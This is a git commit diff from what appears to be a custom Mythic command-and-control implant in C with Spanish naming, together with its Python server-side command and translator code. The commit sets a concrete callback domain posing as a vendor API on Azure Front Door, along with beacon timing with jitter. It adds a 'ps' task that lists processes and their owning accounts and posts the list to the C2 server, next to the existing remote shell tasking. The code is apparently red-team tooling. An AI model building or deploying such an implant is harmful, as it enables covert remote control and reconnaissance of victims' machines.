v0.5 ps y mejoras
This commit is contained in:
@@ -1,13 +1,13 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#define initUUID "%UUID%"
|
#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
|
||||||
#define hostname L"%HOSTNAME%"
|
#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
|
||||||
#define endpoint L"%ENDPOINT%"
|
#define endpoint L"data"
|
||||||
#define ssl %SSL%
|
#define ssl TRUE
|
||||||
#define proxyenabled %PROXYENABLED%
|
#define proxyenabled FALSE
|
||||||
#define proxyurl L"%PROXYURL%"
|
#define proxyurl L""
|
||||||
|
|
||||||
#define useragent L"%USERAGENT%"
|
#define useragent L""
|
||||||
#define httpmethod L"POST"
|
#define httpmethod L"POST"
|
||||||
#define port %PORT%
|
#define port 443
|
||||||
|
|
||||||
#define sleep_time %SLEEPTIME%
|
#define sleep_time 10
|
||||||
@@ -11,6 +11,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
for (UINT32 i = 0; i < numeroTareas; i++) {
|
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||||
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
||||||
BYTE tarea = getByte(obtenerTarea);
|
BYTE tarea = getByte(obtenerTarea);
|
||||||
|
_dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
|
||||||
|
|
||||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||||
|
|
||||||
@@ -22,8 +24,9 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
cerrarCallback(analizadorTarea);
|
cerrarCallback(analizadorTarea);
|
||||||
}else if(tarea == SLEEP_CMD){
|
}else if(tarea == SLEEP_CMD){
|
||||||
sleep(analizadorTarea);
|
sleep(analizadorTarea);
|
||||||
|
}else if(tarea == PROCESS_CMD){
|
||||||
|
listarProcesos(analizadorTarea);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,6 +8,7 @@
|
|||||||
#include "consola.h"
|
#include "consola.h"
|
||||||
#include "cerrarCallback.h"
|
#include "cerrarCallback.h"
|
||||||
#include "sleep.h"
|
#include "sleep.h"
|
||||||
|
#include "procesos.h"
|
||||||
|
|
||||||
#define SHELL_CMD 0x54
|
#define SHELL_CMD 0x54
|
||||||
#define GET_TASKING 0x00
|
#define GET_TASKING 0x00
|
||||||
@@ -18,7 +19,7 @@
|
|||||||
|
|
||||||
#define EXIT_CMD 0x80
|
#define EXIT_CMD 0x80
|
||||||
#define SLEEP_CMD 0x38
|
#define SLEEP_CMD 0x38
|
||||||
|
#define PROCESS_CMD 0x15
|
||||||
|
|
||||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||||
BOOL rutina();
|
BOOL rutina();
|
||||||
|
|||||||
@@ -0,0 +1,29 @@
|
|||||||
|
#include "identity.h"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) {
|
||||||
|
|
||||||
|
TOKEN_USER informacionToken[0x1000];
|
||||||
|
SID_NAME_USE tipoSid;
|
||||||
|
DWORD tamanoRespuesta;
|
||||||
|
|
||||||
|
if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) {
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
CHAR nombre[0x200] = { 0 };
|
||||||
|
CHAR dominio[0x200] = { 0 };
|
||||||
|
|
||||||
|
DWORD tamanoNombre = sizeof(nombre);
|
||||||
|
DWORD tamanoDominio = sizeof(dominio);
|
||||||
|
|
||||||
|
if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre);
|
||||||
|
buffer[tamano - 1] = 0;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef IDENTITY_H
|
||||||
|
#define IDENTITY_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
extern HANDLE gTokenIdentidad;
|
||||||
|
extern BOOL gIdentidadIsLoggin;
|
||||||
|
extern WCHAR* gDominioIdentidad;
|
||||||
|
// extern WCHAR* gIdentityUsername;
|
||||||
|
// extern WCHAR* gIdentityPassword;
|
||||||
|
|
||||||
|
#define IDENTITY_MAX_WCHARS_DOMAIN 256
|
||||||
|
#define IDENTITY_MAX_WCHARS_USERNAME 256
|
||||||
|
#define IDENTITY_MAX_WCHARS_PASSWORD 512
|
||||||
|
|
||||||
|
//VOID IdentityImpersonateToken(void);
|
||||||
|
//VOID IdentityAgentRevertToken(void);
|
||||||
|
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size);
|
||||||
|
//BOOL IdentityIsAdmin(void);
|
||||||
|
|
||||||
|
#endif //IDENTITY_H
|
||||||
@@ -32,7 +32,6 @@ VOID liberarPaquete(PPaquete paquete) {
|
|||||||
|
|
||||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||||
|
|
||||||
|
|
||||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
||||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
||||||
|
|
||||||
@@ -120,3 +119,34 @@ BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
|
|||||||
}
|
}
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...)
|
||||||
|
{
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
|
||||||
|
// Determine how much space is needed for the formatted string
|
||||||
|
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
|
||||||
|
|
||||||
|
va_end(args);
|
||||||
|
|
||||||
|
// Allocate a temporary buffer for the formatted string
|
||||||
|
char* tempBuffer = (char*)malloc(requiredLength);
|
||||||
|
if (tempBuffer == NULL)
|
||||||
|
{
|
||||||
|
return FALSE; // Memory allocation failed
|
||||||
|
}
|
||||||
|
|
||||||
|
va_start(args, fmt);
|
||||||
|
vsnprintf(tempBuffer, requiredLength, fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
|
||||||
|
// Use addString to add the formatted string to the package
|
||||||
|
if (!addString(package, tempBuffer, copySize))
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
// Free the temporary buffer
|
||||||
|
free(tempBuffer);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,111 @@
|
|||||||
|
#undef UNICODE
|
||||||
|
#include "procesos.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
#include "identity.h"
|
||||||
|
#include "spawn.h"
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
|
||||||
|
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
|
||||||
|
HANDLE hToken;
|
||||||
|
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
|
||||||
|
|
||||||
|
if (!result) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
|
||||||
|
|
||||||
|
if (!result) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID listarProcesos(PAnalizador argumentos) {
|
||||||
|
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
|
char nombreCuenta[2048] = { 0 };
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal
|
||||||
|
|
||||||
|
char* arch;
|
||||||
|
arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";
|
||||||
|
|
||||||
|
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (toolhelp == INVALID_HANDLE_VALUE) {
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
|
||||||
|
if (Process32First(toolhelp, &pe)) {
|
||||||
|
do {
|
||||||
|
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
|
||||||
|
DWORD sid = -1;
|
||||||
|
if (hProcess) {
|
||||||
|
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
|
||||||
|
nombreCuenta[0] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
|
||||||
|
sid = -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL isWow64 = IsWow64ProcessEx(hProcess);
|
||||||
|
|
||||||
|
PackageAddFormatPrintf(salida,
|
||||||
|
FALSE,
|
||||||
|
"%s\t%d\t%d\t%s\t%s\t%d\n",
|
||||||
|
pe.szExeFile,
|
||||||
|
pe.th32ParentProcessID,
|
||||||
|
pe.th32ProcessID,
|
||||||
|
isWow64 ? "x86" : arch,
|
||||||
|
nombreCuenta,
|
||||||
|
sid);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
PackageAddFormatPrintf(salida,
|
||||||
|
FALSE,
|
||||||
|
"%s\t%d\t%d\n",
|
||||||
|
pe.szExeFile,
|
||||||
|
pe.th32ParentProcessID,
|
||||||
|
pe.th32ProcessID);
|
||||||
|
}
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
|
||||||
|
} while (Process32Next(toolhelp, &pe));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
|
||||||
|
PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(errorPaquete, tareaUuid, FALSE);
|
||||||
|
addInt32(errorPaquete, error);
|
||||||
|
mandarPaquete(errorPaquete);
|
||||||
|
liberarPaquete(errorPaquete);
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||||
|
if (!respuestaAnalizador) {
|
||||||
|
_err("[-] Error al mandar paquete\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
liberarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
cleanup:
|
||||||
|
if (toolhelp) {
|
||||||
|
CloseHandle(toolhelp);
|
||||||
|
}
|
||||||
|
liberarPaquete(salida);
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef PROCESOS_H
|
||||||
|
#define PROCESOS_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include "analizador.h"
|
||||||
|
|
||||||
|
VOID listarProcesos(PAnalizador argumentos);
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -17,9 +17,9 @@ BOOL sleep(PAnalizador argumentos) {
|
|||||||
const int minVarianza = 1;
|
const int minVarianza = 1;
|
||||||
const int rangoVarianza = maxVarianza / 2;
|
const int rangoVarianza = maxVarianza / 2;
|
||||||
|
|
||||||
int aleatorio = aleatorioInt32(0, rangoVarianza);
|
int Rand = aleatorioInt32(0, rangoVarianza);
|
||||||
|
|
||||||
tiempoSleep += aleatorio;
|
tiempoSleep += Rand;
|
||||||
|
|
||||||
|
|
||||||
if (tiempoSleep < minVarianza) {
|
if (tiempoSleep < minVarianza) {
|
||||||
@@ -32,7 +32,7 @@ BOOL sleep(PAnalizador argumentos) {
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
||||||
tiempoSleep = tiempoSleep * 1000;
|
tiempoSleep = tiempoSleep * 1000;
|
||||||
cazallaConfig->tiempoSleep = tiempoSleep;
|
cazallaConfig->tiempoSleep = tiempoSleep;
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,40 @@
|
|||||||
|
#include "spawn.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
#include <versionhelpers.h>
|
||||||
|
|
||||||
|
#pragma warning(disable: 4996)
|
||||||
|
|
||||||
|
#define ProcessWow64Information 26
|
||||||
|
|
||||||
|
int osMajorVersion;
|
||||||
|
|
||||||
|
BOOL SelfIsWindowsVistaOrLater() {
|
||||||
|
return IsWindowsVistaOrGreater();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
|
||||||
|
|
||||||
|
|
||||||
|
BOOL IsWow64ProcessEx(HANDLE hProcess) {
|
||||||
|
HMODULE hModule = GetModuleHandleA("kernel32");
|
||||||
|
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
|
||||||
|
if (_IsWow64Process == NULL)
|
||||||
|
{
|
||||||
|
_err("kernel32$IsWow64Process: IsWow64Process is NULL");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL bStatus = FALSE;
|
||||||
|
BOOL Wow64Process = FALSE;
|
||||||
|
|
||||||
|
// bStatus = _IsWow64Process(hProcess, &Wow64Process);
|
||||||
|
bStatus = _IsWow64Process(hProcess, &Wow64Process);
|
||||||
|
if (!bStatus)
|
||||||
|
{
|
||||||
|
_err("_IsWow64Process failed with status code : %d", GetLastError());
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return Wow64Process; // TODO bug ! - returns 0 (x86) for current process?
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef NATIVE_H
|
||||||
|
#define NATIVE_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
|
||||||
|
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||||
|
|
||||||
|
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
ULONG ProcessInformationClass,
|
||||||
|
PVOID ProcessInformation,
|
||||||
|
ULONG ProcessInformationLength,
|
||||||
|
PULONG ReturnLength
|
||||||
|
);
|
||||||
|
|
||||||
|
BOOL IsWow64ProcessEx(HANDLE hProcess);
|
||||||
|
|
||||||
|
extern int osMajorVersion;
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -89,12 +89,12 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
do {
|
do {
|
||||||
dwTamano = 1024;
|
dwTamano = 1024;
|
||||||
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
||||||
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
|
_err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
||||||
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
|
_err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -121,7 +121,6 @@ int b64IsValidChar(char c) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||||
|
|
||||||
SIZE_T len;
|
SIZE_T len;
|
||||||
@@ -162,7 +161,6 @@ int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
||||||
|
|
||||||
(buffer)[0] = (value >> 24) & 0xFF;
|
(buffer)[0] = (value >> 24) & 0xFF;
|
||||||
|
|||||||
@@ -0,0 +1,44 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
import json
|
||||||
|
|
||||||
|
|
||||||
|
class PsArguments(TaskArguments):
|
||||||
|
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) > 0:
|
||||||
|
raise Exception("ps no debe lanzarse con parametros")
|
||||||
|
|
||||||
|
|
||||||
|
class PsCommand(CommandBase):
|
||||||
|
cmd = "ps"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "ps"
|
||||||
|
description = "Lista los procesos del host."
|
||||||
|
version = 1
|
||||||
|
supported_ui_features = ["process_browser:list"]
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
argument_class = PsArguments
|
||||||
|
browser_script = BrowserScript(
|
||||||
|
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
|
||||||
|
)
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=False,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=True
|
||||||
|
)
|
||||||
|
attackmapping = []
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
function(task, responses) {
|
||||||
|
console.log(task)
|
||||||
|
console.log("-------------------------------------------------------------------------------------------------------")
|
||||||
|
console.log(responses)
|
||||||
|
if (task.status.includes("error")) {
|
||||||
|
const combined = responses.reduce((prev, cur) => prev + cur, "");
|
||||||
|
return { 'plaintext': combined };
|
||||||
|
} else if (responses.length > 0) {
|
||||||
|
// Combine and split the responses into lines
|
||||||
|
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
|
||||||
|
if (output.length === 0) {
|
||||||
|
return { 'plaintext': "No process information found." };
|
||||||
|
}
|
||||||
|
|
||||||
|
// Prepare the table structure
|
||||||
|
const formattedResponse = {
|
||||||
|
headers: [
|
||||||
|
{ plaintext: "Process Name", type: "string", fillWidth: true },
|
||||||
|
{ plaintext: "PPID", type: "number", width: 80 },
|
||||||
|
{ plaintext: "PID", type: "number", width: 80 },
|
||||||
|
{ plaintext: "Architecture", type: "string", width: 80 },
|
||||||
|
{ plaintext: "User Account", type: "string", fillWidth: true },
|
||||||
|
{ plaintext: "Session ID", type: "number", width: 80 }
|
||||||
|
],
|
||||||
|
title: "Process List",
|
||||||
|
rows: []
|
||||||
|
};
|
||||||
|
|
||||||
|
// Process each line to populate rows
|
||||||
|
output.forEach(line => {
|
||||||
|
const parts = line.split("\t");
|
||||||
|
// Ensure the array has up to 6 elements, filling missing parts with empty strings
|
||||||
|
while (parts.length < 6) {
|
||||||
|
parts.push("");
|
||||||
|
}
|
||||||
|
const [processName, ppid, pid, architecture, userAccount, sessionId] = parts;
|
||||||
|
|
||||||
|
// Add the row, ensuring missing fields are shown as empty cells
|
||||||
|
formattedResponse.rows.push({
|
||||||
|
"Process Name": {
|
||||||
|
plaintext: processName || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"PPID": {
|
||||||
|
plaintext: ppid || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"PID": {
|
||||||
|
plaintext: pid || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"Architecture": {
|
||||||
|
plaintext: architecture || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"User Account": {
|
||||||
|
plaintext: userAccount || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"Session ID": {
|
||||||
|
plaintext: sessionId || "",
|
||||||
|
cellStyle: {}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
return { table: [formattedResponse] };
|
||||||
|
} else {
|
||||||
|
return { 'plaintext': "No response yet from agent..." };
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,16 +1,15 @@
|
|||||||
import json
|
import json
|
||||||
|
|
||||||
|
|
||||||
commands = {
|
commands = {
|
||||||
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
||||||
"checkin": {"hex_code": 0xf1, "input_type": None},
|
"checkin": {"hex_code": 0xf1, "input_type": None},
|
||||||
"post_response": {"hex_code": 0x01, "input_type": None},
|
"post_response": {"hex_code": 0x01, "input_type": None},
|
||||||
"shell": {"hex_code": 0x54, "input_type": "string"},
|
"shell": {"hex_code": 0x54, "input_type": "string"},
|
||||||
"exit": {"hex_code": 0x08, "input_type":None},
|
"exit": {"hex_code": 0x80, "input_type": None},
|
||||||
"sleep": {"hex_code":0x38, "input_type":"int"}
|
"sleep": {"hex_code": 0x38, "input_type": "int"},
|
||||||
|
"ps": {"hex_code": 0x15, "input_type": None}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
def responseTasking(tasks):
|
def responseTasking(tasks):
|
||||||
data = b""
|
data = b""
|
||||||
dataTask = b""
|
dataTask = b""
|
||||||
@@ -19,11 +18,22 @@ def responseTasking(tasks):
|
|||||||
|
|
||||||
for task in tasks:
|
for task in tasks:
|
||||||
command_to_run = task["command"]
|
command_to_run = task["command"]
|
||||||
|
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||||
|
|
||||||
if commands[command_to_run]["input_type"] == "string":
|
task_id = task["id"].encode()
|
||||||
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
task_id_bytes = task["id"].encode()
|
||||||
data += task["id"].encode()
|
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
|
||||||
|
|
||||||
|
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
|
||||||
|
data = command_code + task_id_serialized
|
||||||
|
task_size = len(data)
|
||||||
|
dataTask += task_size.to_bytes(4, "big") + data
|
||||||
|
|
||||||
|
print("input_type: None")
|
||||||
|
print(dataTask)
|
||||||
|
|
||||||
|
elif commands[command_to_run]["input_type"] == "string":
|
||||||
|
data = command_code + task_id
|
||||||
if task["parameters"] != "":
|
if task["parameters"] != "":
|
||||||
parameters = json.loads(task["parameters"])
|
parameters = json.loads(task["parameters"])
|
||||||
data += len(parameters).to_bytes(4,"big")
|
data += len(parameters).to_bytes(4,"big")
|
||||||
@@ -36,9 +46,7 @@ def responseTasking(tasks):
|
|||||||
dataTask += len(data).to_bytes(4, "big") + data
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
elif commands[command_to_run]["input_type"] == "int":
|
elif commands[command_to_run]["input_type"] == "int":
|
||||||
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
data = command_code + task_id
|
||||||
data += task["id"].encode()
|
|
||||||
|
|
||||||
if task["parameters"] != "":
|
if task["parameters"] != "":
|
||||||
parameters = json.loads(task["parameters"])
|
parameters = json.loads(task["parameters"])
|
||||||
data += len(parameters).to_bytes(4, "big")
|
data += len(parameters).to_bytes(4, "big")
|
||||||
@@ -49,7 +57,8 @@ def responseTasking(tasks):
|
|||||||
dataTask += len(data).to_bytes(4, "big") + data
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
dataToSend = dataHead + dataTask
|
dataToSend = dataHead + dataTask
|
||||||
|
print("estamos en el dataToSend\n")
|
||||||
|
print(dataToSend)
|
||||||
return dataToSend
|
return dataToSend
|
||||||
|
|
||||||
|
|
||||||
@@ -64,5 +73,4 @@ def responsePosting(responses):
|
|||||||
data += b"\x01"
|
data += b"\x01"
|
||||||
else:
|
else:
|
||||||
data += b"\x00"
|
data += b"\x00"
|
||||||
|
|
||||||
return data
|
return data
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
from translator.utils import *
|
from translator.utils import *
|
||||||
import ipaddress
|
import ipaddress
|
||||||
|
import json
|
||||||
|
|
||||||
def checkIn(data):
|
def checkIn(data):
|
||||||
|
|
||||||
@@ -75,15 +76,25 @@ def getTasking(data):
|
|||||||
|
|
||||||
|
|
||||||
def postResponse(data):
|
def postResponse(data):
|
||||||
|
print("Tamaño del Base64 recibido: {len(data)} bytes")
|
||||||
|
|
||||||
resTaks = []
|
resTaks = []
|
||||||
|
|
||||||
uuidTask = data[:36]
|
uuidTask = data[:36]
|
||||||
data = data[36:]
|
data = data[36:]
|
||||||
|
|
||||||
output, data = getBytesWithSize(data)
|
output, data = getBytesWithSize(data)
|
||||||
|
|
||||||
|
print("Tamaño después de extraer UUID: {len(data)} bytes")
|
||||||
|
|
||||||
|
try:
|
||||||
|
decoded_output = output.decode('cp850')
|
||||||
|
except Exception as e:
|
||||||
|
print("Fallo al decodificar la salida: {e}")
|
||||||
|
decoded_output = "[ERROR DECODIFICANDO]"
|
||||||
|
|
||||||
jsonTask = {
|
jsonTask = {
|
||||||
"task_id": uuidTask.decode('cp850'),
|
"task_id": uuidTask.decode('cp850'),
|
||||||
"user_output":output.decode('cp850'),
|
"user_output": decoded_output,
|
||||||
}
|
}
|
||||||
|
|
||||||
jsonTask["completed"] = True
|
jsonTask["completed"] = True
|
||||||
@@ -93,4 +104,9 @@ def postResponse(data):
|
|||||||
"action": "post_response",
|
"action": "post_response",
|
||||||
"responses": resTaks
|
"responses": resTaks
|
||||||
}
|
}
|
||||||
|
|
||||||
|
print("Respuesta generada: {json.dumps(dataJson, indent=4)}")
|
||||||
|
|
||||||
return dataJson
|
return dataJson
|
||||||
|
|
||||||
|
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO
|
||||||
Reference in New Issue
Block a user